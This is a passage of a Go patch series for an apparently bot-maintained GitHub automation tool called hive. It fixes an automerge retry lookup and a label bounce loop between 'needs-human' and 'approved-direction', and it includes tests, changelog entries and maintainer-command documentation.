b/changelog.d/fixed-16586.md @@ -0,0 +1 @@ +- The automerge sweep reuses the stored re-author target on retry passes instead of fetching the exhausted PR's closing issue from GitHub each pass ([#16586](https://github.com/hivecommons/hive/issues/16586)). diff --git a/src/pkg/github/automerge/automerge_fixer_exhausted_test.go b/src/pkg/github/automerge/automerge_fixer_exhausted_test.go index ff3e80b37e..69aaf11b1a 100644 --- a/src/pkg/github/automerge/automerge_fixer_exhausted_test.go +++ b/src/pkg/github/automerge/automerge_fixer_exhausted_test.go @@ -210,3 +210,29 @@ func TestFixerExhaustedMarkerLabelAloneBlocksReauthor(t *testing.T) { t.Fatalf("marker label ignored: %s (%q) edits=%q", rec.Stage, rec.Reason, o.adopt.prEdits) } } + +// A retry pass while the close is pending reuses the stored re-author +// target instead of reading the closing issue again (hivecommons/hive#16586). +func TestFixerExhaustedRetryPassSkipsIssueGetWhenStoreHasTarget(t *testing.T) { + o, done, status := fixerExhaustedHarness(t) + defer done() + setStagePRTruth(12) + + status[90] = review.FixDispatchStatus{Attempts: 6, Reason: review.FixDispatchExcludedAttemptsExhausted} + o.observeSelf(hiveFixingPR(90, "ccc", "stage/070-fixing"), contributorLaneReasonChangesRequested) + if rec, _ := o.e.stageStoreOrShared().Get(stageKey("acme", "widget", 90)); !rec.Reauthored() { + t.Fatalf("first pass did not record the re-author: %+v", rec) + } + if o.api.issueGets[12] == 0 { + t.Fatal("first pass never read issue 12") + } + + o.api.mu.Lock() + o.api.issueGets = nil + o.api.mu.Unlock() + o.clock.advance(time.Hour) + o.observeSelf(hiveFixingPR(90, "ccc", "stage/070-fixing"), contributorLaneReasonChangesRequested) + if got := o.api.issueGets[12]; got != 0 { + t.Fatalf("retry pass read issue 12 %d times, want 0", got) + } +} diff --git a/src/pkg/github/automerge/automerge_stage_labels.go b/src/pkg/github/automerge/automerge_stage_labels.go index fdfa01dc32..61cb4649a0 100644 --- a/src/pkg/github/automerge/automerge_stage_labels.go +++ b/src/pkg/github/automerge/automerge_stage_labels.go @@ -1136,9 +1136,11 @@ func (c *Engine) ApplyStageLabels(ctx context.Context) (StageLabelResult, error) // a person decides (give direction / hand over / close // as not planned) instead of the row reading "Fixing" // with nobody on it for hours (#15308). - target := c.autoReauthorTarget(ctx, store, obs) + var target reauthorTarget if prev, ok := store.Get(key); ok && prev.Reauthored() { target = reauthorTarget{Issue: prev.ReauthorIssue} + } else { + target = c.autoReauthorTarget(ctx, store, obs) } if target.eligible() && policy.Adoption && !obs.Merged { n, noted, err := c.reauthorExhaustedHivePR(ctx, store, key, obs, fixer, target.Issue, now) diff --git a/src/pkg/github/automerge/automerge_stage_labels_test.go b/src/pkg/github/automerge/automerge_stage_labels_test.go index 73d12e2f9c..6298db61de 100644 --- a/src/pkg/github/automerge/automerge_stage_labels_test.go +++ b/src/pkg/github/automerge/automerge_stage_labels_test.go @@ -36,7 +36,9 @@ type stageAPI struct { creates []string lists int gets int - url string + // issueGets counts GET /issues/N per number. + issueGets map[int]int + url string // commits is what GET /pulls/N/commits answers (one message per // commit); a PR not listed has no commits, so its DCO state stays // unknown and the test's label expectations are unaffected. @@ -109,6 +111,10 @@ func newStageAPI(t *testing.T, api *stageAPI) *httptest.Server { case r.Method == http.MethodGet && strings.HasPrefix(path, "/repos/acme/widget/issues/") && !strings.Contains(strings.TrimPrefix(path, "/repos/acme/widget/issues/"), "/"): n, _ := strconv.Atoi(strings.TrimPrefix(path, "/repos/acme/widget/issues/")) api.gets++ + if api.issueGets == nil { + api.issueGets = map[int]int{} + } + api.issueGets[n]++ stagePRTruthMu.Lock() labels := make([]map[string]string, 0) for _, l := range stagePRTruth[n] { From 63533f1e117155060674f5f1b4c71789c87828fd Mon Sep 17 00:00:00 2001 From: "hivecommons-hive[bot]" <280983584+hivecommons-hive[bot]@users.noreply.github.com> Date: Wed, 4 Nov 2026 14:13:08 +0000 Subject: [PATCH 73/87] =?UTF-8?q?=F0=9F=90=9B=20fix(controller):=20keep=20?= =?UTF-8?q?approved-direction=20after=20a=20human=20decision=20when=20the?= =?UTF-8?q?=20remainder=20is=20human-only=20(#16590)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(controller): keep approved-direction after a human decision when the remainder is human-only Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: clubanderson <407614+clubanderson@users.noreply.github.com> * fix(controller): keep the newer-decision re-park reachable after the human-only stand-down The 16579 derive rule returned no stage for every `needs-human` next to `approved-direction`, so a park the label relay let through because a newer, different `/hive decision` was pending never landed on 045 (TestIssueRequestWatcher_LabelRefusesReparkOnRecordedDecision/new_decision_pending). Carry that as an engine fact: ParkFacts.DecisionSuperseded, submitted by FactSink.ReparkedOnNewDecision when reparkDecisionRefusal reports the park allowed on a superseding decision. With it set the ack is stale again β€” the issue re-parks at 045 and the writer clears `approved-direction`; without it the stand-down from 16579 holds. Hive-Fix-Attempt: 1/6 Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Signed-off-by: ci-maintainer <280983584+hivecommons-hive[bot]@users.noreply.github.com> --------- Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Signed-off-by: ci-maintainer <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Co-authored-by: clubanderson <407614+clubanderson@users.noreply.github.com> --- changelog.d/fixed-16579.md | 1 + src/docs/maintainer-commands.md | 2 +- src/pkg/github/issue_request_label.go | 23 ++++--- src/pkg/github/issue_request_label_test.go | 16 +++-- src/pkg/github/issue_request_watcher.go | 14 +++-- src/pkg/stageengine/derive_issue.go | 36 ++++++++--- src/pkg/stageengine/derive_issue_test.go | 69 +++++++++++++++++++-- src/pkg/stageengine/facts.go | 17 ++++- src/pkg/stageengine/facts_sink.go | 31 +++++++-- src/pkg/stageengine/facts_sink_test.go | 7 ++- src/pkg/stageengine/stageenginetest/fake.go | 5 +- 11 files changed, 182 insertions(+), 39 deletions(-) create mode 100644 changelog.d/fixed-16579.md diff --git a/changelog.d/fixed-16579.md b/changelog.d/fixed-16579.md new file mode 100644 index 0000000000..05a0773154 --- /dev/null +++ b/changelog.d/fixed-16579.md @@ -0,0 +1 @@ +- Stage controller: an issue a maintainer already decided (`approved-direction`) whose remaining work is human-only (`needs-human`) is no longer re-parked on `stage/045-needs-decision` with the ack stripped; it keeps `approved-direction` and is held out of the pipeline, ending the decide β†’ re-park bounce loop; a newer, different `/hive decision` still lets an agent's park through and clears the stale ack ([#16579](https://github.com/hivecommons/hive/issues/16579)). diff --git a/src/docs/maintainer-commands.md b/src/docs/maintainer-commands.md index 97053867d0..251108f7a8 100644 --- a/src/docs/maintainer-commands.md +++ b/src/docs/maintainer-commands.md @@ -15,7 +15,7 @@ https://github.com/hivecommons/hive/blob/v5/src/docs/maintainer-commands.md | Command | What it does | Who may use it | Where it works | Pickup speed | Labels changed | | --- | --- | --- | --- | --- | --- | | `/hive approve` | Accepts the recommendation already written on a parked issue. | Human commenter with `write`, `maintain`, or `admin` repository permission. | Open issues carrying `needs-human` or `stage/045-needs-decision` (or the retired `needs-decision` / `needs-direction` / a pre-045 `stage/085-needs-decision`, until migrated). On an open pull request the command gets one acknowledgement or explanation reply and changes no labels (see [PR approval command feedback](#pr-approval-command-feedback)). | Next un-park sweep, normally within 5 minutes. | Removes `stage/045-needs-decision` (and the retired spellings) when present; adds `approved-direction`; removes `needs-human` **whoever added it** β€” your approval is the human input the label asked for ([#13075](https://github.com/hivecommons/hive/issues/13075), [docs#419](https://github.com/hivecommons/docs/issues/419)); the reply names who had added it. Never removes `hold`: add `hold` to keep agents off an issue through a decision. | -| `/hive decision <text>` | Gives explicit direction for a parked issue. | Human commenter with `write`, `maintain`, or `admin` repository permission. | Open issues carrying `needs-human` or `stage/045-needs-decision` (or the retired `needs-decision` / `needs-direction` / a pre-045 `stage/085-needs-decision`, until migrated); pull requests are ignored. | Next un-park sweep, normally within 5 minutes. | Removes `stage/045-needs-decision` (and the retired spellings) when present; adds `approved-direction`; removes `needs-human` **whoever added it** β€” your decision is the human input the label asked for, and left in place it would re-derive 045 two minutes later ([#13075](https://github.com/hivecommons/hive/issues/13075), [docs#419](https://github.com/hivecommons/docs/issues/419)); the reply names who had added it. Never removes `hold`: add `hold` to keep agents off an issue through a decision. An agent's later re-park on 085 is refused while `approved-direction` is present and the recorded decision text is unchanged. | +| `/hive decision <text>` | Gives explicit direction for a parked issue. | Human commenter with `write`, `maintain`, or `admin` repository permission. | Open issues carrying `needs-human` or `stage/045-needs-decision` (or the retired `needs-decision` / `needs-direction` / a pre-045 `stage/085-needs-decision`, until migrated); pull requests are ignored. | Next un-park sweep, normally within 5 minutes. | Removes `stage/045-needs-decision` (and the retired spellings) when present; adds `approved-direction`; removes `needs-human` **whoever added it** β€” your decision is the human input the label asked for, and left in place it would re-derive 045 two minutes later ([#13075](https://github.com/hivecommons/hive/issues/13075), [docs#419](https://github.com/hivecommons/docs/issues/419)); the reply names who had added it. Never removes `hold`: add `hold` to keep agents off an issue through a decision. An agent's later re-park on 085 is refused while `approved-direction` is present and the recorded decision text is unchanged; an agent's later `needs-human` (the remaining work is human-only) keeps `approved-direction` and holds the issue out of the pipeline instead of re-deriving `stage/045-needs-decision` ([#16579](https://github.com/hivecommons/hive/issues/16579)). A newer `/hive decision` with different text means direction is changing: an agent's park goes through, the stale `approved-direction` is cleared, and the issue waits at `stage/045-needs-decision` until the sweep applies the new decision. | | `/hive decision proceed β€” <gap>` | Confirms a feature request parked by the prior-art gate is a real gap. | The issue author, or a human commenter with `write`, `maintain`, or `admin`. | Open issues carrying `stage/017-possible-existing` below a `<!-- hive:prior-art-gate -->` comment. | Next un-park sweep. | Removes `stage/017-possible-existing`, appends a **Scope vs existing** section with `<gap>` to the issue body, records the un-park so the issue re-derives `stage/010-actionable` ([#13575](https://github.com/hivecommons/hive/issues/13575)). | | `/hive decision exists` | Agrees the request already exists. | Same as above. | Same as above. | Next un-park sweep. | Adds `already-exists`, closes the issue `not_planned`, replies with a pointer at the quoted findings. Reopen the issue to continue; the gate does not ask again. | | `/hive help` | Posts this command list. On parked issues it also repeats the issue-specific approve/decision options. | Any human commenter with at least `triage` repository permission for the on-demand workflow; the sweep path on parked issues requires `write`, `maintain`, or `admin`. | Any open issue or pull request. | GitHub Actions on the new comment; if Actions is unavailable on a parked issue, the next un-park sweep can also answer. | None. | diff --git a/src/pkg/github/issue_request_label.go b/src/pkg/github/issue_request_label.go index 0bc2e22f0f..268f66a403 100644 --- a/src/pkg/github/issue_request_label.go +++ b/src/pkg/github/issue_request_label.go @@ -208,34 +208,41 @@ func (c *Client) reservedLabelRefusal(add, remove []string) (string, bool) { // the agent what to do instead: follow the decision, or β€” when it reserves // the work for people β€” add `needs-human` and unclaim. A lookup failure is // returned so the caller retries rather than reading "unknown" as allowed. -func (c *Client) reparkDecisionRefusal(ctx context.Context, repo string, number int, add []string) (string, bool, error) { +// +// superseded is true when the park is allowed through on that newer, +// different decision: the issue still wears `approved-direction` for the +// old one, and the stage engine must read the ack as stale +// (FactSink.ReparkedOnNewDecision) rather than as a standing decision the +// agent is standing down on (hivecommons/hive#16579), or the park never +// lands. +func (c *Client) reparkDecisionRefusal(ctx context.Context, repo string, number int, add []string) (reason string, refused, superseded bool, err error) { if number <= 0 || !containsDecisionParkLabel(add, c.needsDecisionLabel()) { - return "", false, nil + return "", false, false, nil } owner, name := c.splitRepo(repo) issue, _, err := c.client.Issues.Get(ctx, owner, name, number) if err != nil { - return "", false, fmt.Errorf("checking issue park labels: %w", err) + return "", false, false, fmt.Errorf("checking issue park labels: %w", err) } labels := extractLabels(issue.Labels) if !labelPresent(labels, HumanAckLabel) { - return "", false, nil + return "", false, false, nil } comments, err := c.listIssueComments(ctx, owner, name, number) if err != nil { - return "", false, err + return "", false, false, err } decision, at, ok := c.lastRecordedUnparkDecision(comments) if !ok { - return "", false, nil + return "", false, false, nil } if hasNewerDifferentDecisionCommand(comments, at, decision) { - return "", false, nil + return "", false, true, nil } return fmt.Sprintf("a maintainer already decided on %s#%d (recorded by Hive: %q) and `%s` is applied; "+ "re-parking it on `%s` asks for a decision that has been given. Follow the decision. "+ "If it reserves the work for people, add `%s` through this relay and `/unclaim` instead.", - repo, number, decision, HumanAckLabel, c.needsDecisionLabel(), issueNeedsHumanLabel), true, nil + repo, number, decision, HumanAckLabel, c.needsDecisionLabel(), issueNeedsHumanLabel), true, false, nil } func containsDecisionParkLabel(labels []string, configured string) bool { diff --git a/src/pkg/github/issue_request_label_test.go b/src/pkg/github/issue_request_label_test.go index 6f51a74872..72ad11621f 100644 --- a/src/pkg/github/issue_request_label_test.go +++ b/src/pkg/github/issue_request_label_test.go @@ -420,7 +420,9 @@ func TestNormalizeLabelList(t *testing.T) { // With `approved-direction` applied and Hive's own un-park reply recording // the decision, the re-park is refused and the agent is told to add // `needs-human` and unclaim instead. A newer `/hive decision` with different -// text means direction is changing, and the park goes through. +// text means direction is changing, and the park goes through β€” as a +// ReparkedOnNewDecision fact, so the stale ack does not read as a standing +// decision that would hold the issue out of 045 (hivecommons/hive#16579). func TestIssueRequestWatcher_LabelRefusesReparkOnRecordedDecision(t *testing.T) { const decision = "Agents stand down; owner/Console owners handle this" reply := unparkWireComment{ @@ -456,9 +458,15 @@ func TestIssueRequestWatcher_LabelRefusesReparkOnRecordedDecision(t *testing.T) resp := readIssueResultFile(t, reqPath) if tc.wantAdded { - if !resp.OK || len(rec.added[12680]) != 1 { + if !resp.OK || len(rec.added[12680]) != 1 || rec.added[12680][0] != NeedsDecisionStageLabel { t.Fatalf("expected the park to go through, resp=%+v added=%v", resp, rec.added[12680]) } + // Direction is changing, so the old `approved-direction` + // is stale: the park re-derives 045 with it cleared rather + // than standing down on the old decision (#16579). + if got := strings.Join(rec.removed[12680], ","); !strings.Contains(got, HumanAckLabel) { + t.Fatalf("expected the stale %s cleared with the re-park, removed=%v", HumanAckLabel, rec.removed[12680]) + } return } if resp.OK || len(rec.added[12680]) != 0 { @@ -489,11 +497,11 @@ func TestReparkDecisionRefusalRecognizesRetiredDecisionLabels(t *testing.T) { server, _ := newUnparkServer(t, "org", "repo", []unparkWireIssue{issue}, nil) c := newTestClient(t, server, "org", []string{"repo"}) - reason, refused, err := c.reparkDecisionRefusal(context.Background(), "org/repo", 12680, []string{label}) + reason, refused, superseded, err := c.reparkDecisionRefusal(context.Background(), "org/repo", 12680, []string{label}) if err != nil { t.Fatalf("reparkDecisionRefusal: %v", err) } - if !refused || !strings.Contains(reason, "already decided") || !strings.Contains(reason, issueNeedsHumanLabel) { + if !refused || superseded || !strings.Contains(reason, "already decided") || !strings.Contains(reason, issueNeedsHumanLabel) { t.Fatalf("label %q refused=%v reason=%q, want recorded-decision refusal", label, refused, reason) } }) diff --git a/src/pkg/github/issue_request_watcher.go b/src/pkg/github/issue_request_watcher.go index 363f80cf9f..d3fe80d9ce 100644 --- a/src/pkg/github/issue_request_watcher.go +++ b/src/pkg/github/issue_request_watcher.go @@ -698,10 +698,12 @@ func (c *Client) handleOneIssueRequest(ctx context.Context, path string, nowFn f } case "label": // A re-park on a decision a maintainer already gave is refused; a - // failed lookup takes the retry path like the claim gate. + // failed lookup takes the retry path like the claim gate. One let + // through on a newer, different decision is submitted as such so + // the stale `approved-direction` does not read as a standing one. var reason string - var refused bool - reason, refused, err = c.reparkDecisionRefusal(ctx, req.Repo, req.Number, addLabels) + var refused, superseded bool + reason, refused, superseded, err = c.reparkDecisionRefusal(ctx, req.Repo, req.Number, addLabels) if err != nil { break } @@ -726,7 +728,11 @@ func (c *Client) handleOneIssueRequest(ctx context.Context, path string, nowFn f err = c.StageFacts().Unparked(ctx, c.IssueStageRef(req.Repo, req.Number), req.Agent) } if err == nil && parkLabel != "" { - err = c.StageFacts().Parked(ctx, c.IssueStageRef(req.Repo, req.Number), parkLabel) + if superseded { + err = c.StageFacts().ReparkedOnNewDecision(ctx, c.IssueStageRef(req.Repo, req.Number), parkLabel) + } else { + err = c.StageFacts().Parked(ctx, c.IssueStageRef(req.Repo, req.Number), parkLabel) + } if err == nil { err = c.verifyIssueParkLanded(ctx, req.Repo, req.Number, parkLabel) } diff --git a/src/pkg/stageengine/derive_issue.go b/src/pkg/stageengine/derive_issue.go index bd596cc4ba..dd83ef878a 100644 --- a/src/pkg/stageengine/derive_issue.go +++ b/src/pkg/stageengine/derive_issue.go @@ -26,6 +26,10 @@ const ( // reasonIssueOpenPRPartial is 040 under a PR that references the issue // without closing it (ClaimFact.Partial); ReasonIsPartialCover reads it. reasonIssueOpenPRPartial = "open PR addresses part of it (references it without a closing keyword)" + // reasonIssueDecidedHumanWork prefixes the reason of an issue whose + // direction a person already gave and whose remainder is held for a + // person (hivecommons/hive#16579). + reasonIssueDecidedHumanWork = "decided; remaining work held for a person: " ) // ReasonIsPartialCover reports whether a 040 reason describes a PR that @@ -94,13 +98,14 @@ func deriveIssue(f Facts) Decision { } } -// issueParkClear reconciles `needs-human` against `approved-direction`, -// which cannot both stand (hivecommons/hive#15099). The un-park that -// applies the ack removes `needs-human` in the same write, so a -// `needs-human` found next to the ack was applied after it β€” the later -// signal (DecisionLiftsNeedsHuman's own rule), whether an agent parked the -// issue on a blocker or a person asked again. The ack is the stale one: -// the issue stays 045 and the writer clears `approved-direction`. +// issueParkClear reconciles `needs-human` against `approved-direction` on +// an issue parked at 045 (hivecommons/hive#15099). That happens for a +// structured blocker β€” no decision grants the App a permission β€” and for a +// park let through because a newer, different `/hive decision` is pending +// (Park.DecisionSuperseded): either way the ack is the stale one and the +// writer clears it. A plain `needs-human` next to a standing ack derives +// out of the pipeline instead and keeps it (hivecommons/hive#16579), so +// nothing is cleared for it. func issueParkClear(f Facts, stage stagelabels.Stage) []string { is := f.Issue label := strings.TrimSpace(is.ApprovedDirectionLabel) @@ -161,6 +166,23 @@ func issueStage(f Facts) (stage stagelabels.Stage, covered bool, reason string) } return stagelabels.IssueNeedsDecision, false, "blocked: " + short } + // A decision is already recorded (`approved-direction`): a + // `needs-human` next to it is the agent standing down on work only + // a person can do (a cluster rollout, a backup, an out-of-repo + // step) β€” what the re-park refusal tells agents to do β€” not a new + // question. Re-deriving 045 stripped the ack and re-opened the + // decision inbox on every scanner pass, and the un-park sweep + // re-applied the same old decision: a bounce loop + // (hivecommons/hive#16579, seen on hivecommons/dibs#567). The + // issue is held out of the pipeline like a hold and keeps the ack; + // a person who wants to decide again removes `approved-direction` + // β€” or posts a new `/hive decision`: the label relay lets an + // agent's park through on that newer, different decision + // (Park.DecisionSuperseded), the ack is stale again, and the issue + // re-parks at 045 with it cleared until the un-park sweep answers. + if strings.TrimSpace(is.ApprovedDirectionLabel) != "" && !f.Park.DecisionSuperseded { + return stagelabels.None, false, reasonIssueDecidedHumanWork + is.NeedsHumanLabel + } return stagelabels.IssueNeedsDecision, false, "held for a person: " + is.NeedsHumanLabel } // The prior-art gate's park is its own stage, 017, not 045: nothing is diff --git a/src/pkg/stageengine/derive_issue_test.go b/src/pkg/stageengine/derive_issue_test.go index ca41d03da3..cbe1245dc2 100644 --- a/src/pkg/stageengine/derive_issue_test.go +++ b/src/pkg/stageengine/derive_issue_test.go @@ -134,9 +134,10 @@ func TestDeriveIssueFlags(t *testing.T) { } // hivecommons/hive#15099: `needs-human` with a structured blocker stays -// 045 and names the blocker. `approved-direction` next to `needs-human` -// is the stale label either way (the un-park that applies the ack removes -// the park label, so a surviving park label came later) and is cleared. +// 045 and names the blocker, and `approved-direction` next to it is the +// stale label and is cleared. A plain `needs-human` next to the ack is the +// agent standing down on human-only work after a decision and stays out of +// 045 with the ack kept (hivecommons/hive#16579). func TestDeriveIssueBlockerAndApprovedDirection(t *testing.T) { blocked := func(f *Facts) { f.Issue.Bucket = BucketFiltered @@ -160,8 +161,20 @@ func TestDeriveIssueBlockerAndApprovedDirection(t *testing.T) { f.Park.NeedsHuman = true f.Issue.ApprovedDirectionLabel = "approved-direction" })) + if d.Stage != stagelabels.None || d.Reason != "decided; remaining work held for a person: needs-human" || len(d.Clear) != 0 { + t.Fatalf("a plain needs-human after a decision keeps the ack out of 045 (#16579): %+v", d) + } + // A newer, different `/hive decision` is pending (the label relay let + // an agent's park through on it): the ack is stale again, the issue + // re-parks at 045 and the writer clears it. + d = DeriveIssue(derivedIssueFacts(func(f *Facts) { + f.Issue.Bucket = BucketFiltered + f.Park.NeedsHuman = true + f.Park.DecisionSuperseded = true + f.Issue.ApprovedDirectionLabel = "approved-direction" + })) if d.Stage != stagelabels.IssueNeedsDecision || d.Reason != "held for a person: needs-human" || len(d.Clear) != 1 || d.Clear[0] != "approved-direction" { - t.Fatalf("a later needs-human outranks the ack: %+v", d) + t.Fatalf("a park on a newer decision outranks the stale ack: %+v", d) } d = DeriveIssue(derivedIssueFacts(func(f *Facts) { blocked(f); f.Issue.BlockerShort = "" })) if d.Reason != "blocked: capability:workflows-permission" { @@ -177,3 +190,51 @@ func TestDeriveIssueBlockerAndApprovedDirection(t *testing.T) { t.Fatalf("held: %+v", d) } } + +// hivecommons/hive#16579 (seen on hivecommons/dibs#567): parked β†’ +// `/hive decision` β†’ `approved-direction` + 010 β†’ a later scanner pass +// finds the remaining checklist human-only and adds `needs-human`. That +// evaluation must neither re-derive 045 nor strip the ack β€” doing so put +// the decision back in the inbox and the un-park sweep re-applied the same +// decision, bouncing the issue every pass. +func TestDeriveIssueDecisionSticksOverHumanOnlyRemainder(t *testing.T) { + steps := []struct { + name string + mutate func(f *Facts) + wantStage stagelabels.Stage + }{ + {"agent parks", func(f *Facts) { + f.Issue.Bucket = BucketFiltered + f.Park.NeedsHuman = true + }, stagelabels.IssueNeedsDecision}, + {"maintainer decides", func(f *Facts) { + f.Park.ApprovedDirection = true + f.Issue.ApprovedDirectionLabel = "approved-direction" + }, stagelabels.Actionable}, + {"remainder is human-only", func(f *Facts) { + f.Issue.Bucket = BucketFiltered + f.Park.NeedsHuman = true + f.Issue.ApprovedDirectionLabel = "approved-direction" + }, stagelabels.None}, + {"next pass re-evaluates", func(f *Facts) { + f.Issue.Bucket = BucketFiltered + f.Park.NeedsHuman = true + f.Issue.ApprovedDirectionLabel = "approved-direction" + f.Issue.Stalled = true + }, stagelabels.None}, + } + for _, tc := range steps { + d := DeriveIssue(derivedIssueFacts(tc.mutate)) + if d.Stage != tc.wantStage { + t.Fatalf("%s: stage = %v, want %v (%+v)", tc.name, d.Stage, tc.wantStage, d) + } + for _, c := range d.Clear { + if c == "approved-direction" { + t.Fatalf("%s: stripped approved-direction: %+v", tc.name, d) + } + } + if d.Terminal { + t.Fatalf("%s: an open decided issue is not terminal: %+v", tc.name, d) + } + } +} diff --git a/src/pkg/stageengine/facts.go b/src/pkg/stageengine/facts.go index e2536ad99b..67bc64fa40 100644 --- a/src/pkg/stageengine/facts.go +++ b/src/pkg/stageengine/facts.go @@ -83,6 +83,13 @@ type ParkFacts struct { HumanOnlyReason string // lane rule unrelated to trust (workflow edits, tests removed, …) ApprovedDirection bool // /hive approve|decision recorded; un-park keeps needs-human (#12715) DecisionQuestion string + // DecisionSuperseded says a newer `/hive decision` with different text + // is on the timeline after the recorded one: direction is changing, so + // the `approved-direction` the issue still wears is stale and a + // `needs-human` park re-derives 045 with the ack cleared instead of + // standing down on it (FactSink.ReparkedOnNewDecision; + // hivecommons/hive#16579). + DecisionSuperseded bool } // AdoptionFacts is the stage-074 ownership state of a contributor PR. @@ -162,9 +169,13 @@ type IssueFacts struct { BlockerShort string // ApprovedDirectionLabel is the `approved-direction` label the issue // wears (a recorded /hive approve|decision), "" when absent. Next to - // `needs-human` it is the stale one β€” the un-park that applied it - // removed the park label, so a surviving `needs-human` came later β€” - // and the writer clears it (hivecommons/hive#15099). + // `needs-human` and a structured Blocker it is the stale one and the + // writer clears it (hivecommons/hive#15099); next to a plain + // `needs-human` the decision stands and the remainder is held for a + // person out of the pipeline, not re-parked at 045 + // (hivecommons/hive#16579) β€” unless Park.DecisionSuperseded says a + // newer, different decision is pending, when the ack is stale again + // and the park re-derives 045 with it cleared. ApprovedDirectionLabel string // UmbrellaLabel is the never-claim label the issue carries // (governor.claims.never_claim_labels, default `epic`). diff --git a/src/pkg/stageengine/facts_sink.go b/src/pkg/stageengine/facts_sink.go index d9143c74f5..c5e0a1da1b 100644 --- a/src/pkg/stageengine/facts_sink.go +++ b/src/pkg/stageengine/facts_sink.go @@ -25,8 +25,15 @@ type FactSink interface { AddressedBy(ctx context.Context, issue Ref, pr Ref) error Uncovered(ctx context.Context, issue Ref, pr Ref) error Parked(ctx context.Context, ref Ref, label string) error // agent escalation (045/085/needs-human) - Unparked(ctx context.Context, ref Ref, by string) error // /hive approve|decision - Closed(ctx context.Context, ref Ref) error // the issue closed; its stage lifts + // ReparkedOnNewDecision is Parked for an issue that already wears + // `approved-direction` when a newer, different `/hive decision` is + // pending on its timeline (the label relay's recorded-decision refusal + // let the park through): direction is changing, so the ack is stale + // and the park derives 045 with it cleared rather than standing down + // on the old decision (hivecommons/hive#16579). + ReparkedOnNewDecision(ctx context.Context, ref Ref, label string) error + Unparked(ctx context.Context, ref Ref, by string) error // /hive approve|decision + Closed(ctx context.Context, ref Ref) error // the issue closed; its stage lifts // PRDecided is a trusted merger's `/hive decision` answered on a PR // parked at 085: the decision is recorded for Head, so the park lifts // now β€” in the same breath as the reply β€” instead of waiting for the @@ -191,19 +198,31 @@ func (s *factSink) Uncovered(ctx context.Context, issue Ref, pr Ref) error { // Parked implements FactSink: an agent (or a person) parked the item on a // human with label β†’ 045 on an issue, 085 on a PR. func (s *factSink) Parked(ctx context.Context, ref Ref, label string) error { + return s.submit(ctx, parkedFacts(ref, label, false)) +} + +// ReparkedOnNewDecision implements FactSink: Parked with +// ParkFacts.DecisionSuperseded set, so a `needs-human` next to a stale +// `approved-direction` re-derives 045 and clears the ack. +func (s *factSink) ReparkedOnNewDecision(ctx context.Context, ref Ref, label string) error { + return s.submit(ctx, parkedFacts(ref, label, true)) +} + +func parkedFacts(ref Ref, label string, superseded bool) Facts { label = strings.TrimSpace(label) f := Facts{Ref: ref, Labels: []string{label}} f.Park = ParkFacts{ - Holds: stagelabels.Holds(f.Labels), - NeedsHuman: strings.EqualFold(label, NeedsHumanLabel), - DecisionLabel: label, + Holds: stagelabels.Holds(f.Labels), + NeedsHuman: strings.EqualFold(label, NeedsHumanLabel), + DecisionLabel: label, + DecisionSuperseded: superseded, } if ref.Kind == stagelabels.PRItem { f.PR = &PRFacts{} } else { f.Issue = &IssueFacts{Bucket: BucketFiltered, FilteredReason: label} } - return s.submit(ctx, f) + return f } // Unparked implements FactSink: /hive approve or /hive decision recorded by diff --git a/src/pkg/stageengine/facts_sink_test.go b/src/pkg/stageengine/facts_sink_test.go index daa6d53683..a3e7542035 100644 --- a/src/pkg/stageengine/facts_sink_test.go +++ b/src/pkg/stageengine/facts_sink_test.go @@ -73,7 +73,12 @@ func TestFactSinkBuildsMinimalFacts(t *testing.T) { } }}, {"parked issue", func() error { return sink.Parked(ctx, issue, " needs-human ") }, func(t *testing.T, f Facts) { - if !f.Park.NeedsHuman || f.Park.DecisionLabel != "needs-human" || f.Issue.Bucket != BucketFiltered || f.Issue.FilteredReason != "needs-human" || len(f.Labels) != 1 { + if !f.Park.NeedsHuman || f.Park.DecisionSuperseded || f.Park.DecisionLabel != "needs-human" || f.Issue.Bucket != BucketFiltered || f.Issue.FilteredReason != "needs-human" || len(f.Labels) != 1 { + t.Fatalf("%+v %+v", f.Park, f.Issue) + } + }}, + {"reparked on new decision", func() error { return sink.ReparkedOnNewDecision(ctx, issue, "stage/045-needs-decision") }, func(t *testing.T, f Facts) { + if !f.Park.DecisionSuperseded || f.Park.DecisionLabel != "stage/045-needs-decision" || f.Issue.Bucket != BucketFiltered || f.Issue.FilteredReason != "stage/045-needs-decision" { t.Fatalf("%+v %+v", f.Park, f.Issue) } }}, diff --git a/src/pkg/stageengine/stageenginetest/fake.go b/src/pkg/stageengine/stageenginetest/fake.go index 819a17a0e3..05430866f5 100644 --- a/src/pkg/stageengine/stageenginetest/fake.go +++ b/src/pkg/stageengine/stageenginetest/fake.go @@ -170,7 +170,7 @@ type Recorder struct { // Recorded is one FactSink call. type Recorded struct { - Method string // Claimed | ClaimReleased | InProgress | CoveredBy | Uncovered | Parked | Unparked | Closed | PRDecided + Method string // Claimed | ClaimReleased | InProgress | CoveredBy | Uncovered | Parked | ReparkedOnNewDecision | Unparked | Closed | PRDecided Ref stageengine.Ref Claim *stageengine.ClaimFact PR *stageengine.Ref @@ -216,6 +216,9 @@ func (r *Recorder) Uncovered(_ context.Context, issue, pr stageengine.Ref) error func (r *Recorder) Parked(_ context.Context, ref stageengine.Ref, label string) error { return r.record(Recorded{Method: "Parked", Ref: ref, Label: label}) } +func (r *Recorder) ReparkedOnNewDecision(_ context.Context, ref stageengine.Ref, label string) error { + return r.record(Recorded{Method: "ReparkedOnNewDecision", Ref: ref, Label: label}) +} func (r *Recorder) Unparked(_ context.Context, ref stageengine.Ref, by string) error { return r.record(Recorded{Method: "Unparked", Ref: ref, Who: by}) } From d29da0d0071b5e6e82e8cbfbb133b6a31a6e4970 Mon Sep 17 00:00:00 2001 From: "hivecommons-hive[bot]" <280983584+hivecommons-hive[bot]@users.noreply.github.com> Date: Wed, 4 Nov 2026 14:28:23 +0000 Subject: [PATCH 74/87] =?UTF-8?q?=F0=9F=90=9B=20fix(github):=20stop=20un-p?= =?UTF-8?q?ark=20sweep=20re-offering=20decisions=20on=20a=20held=20issue?= 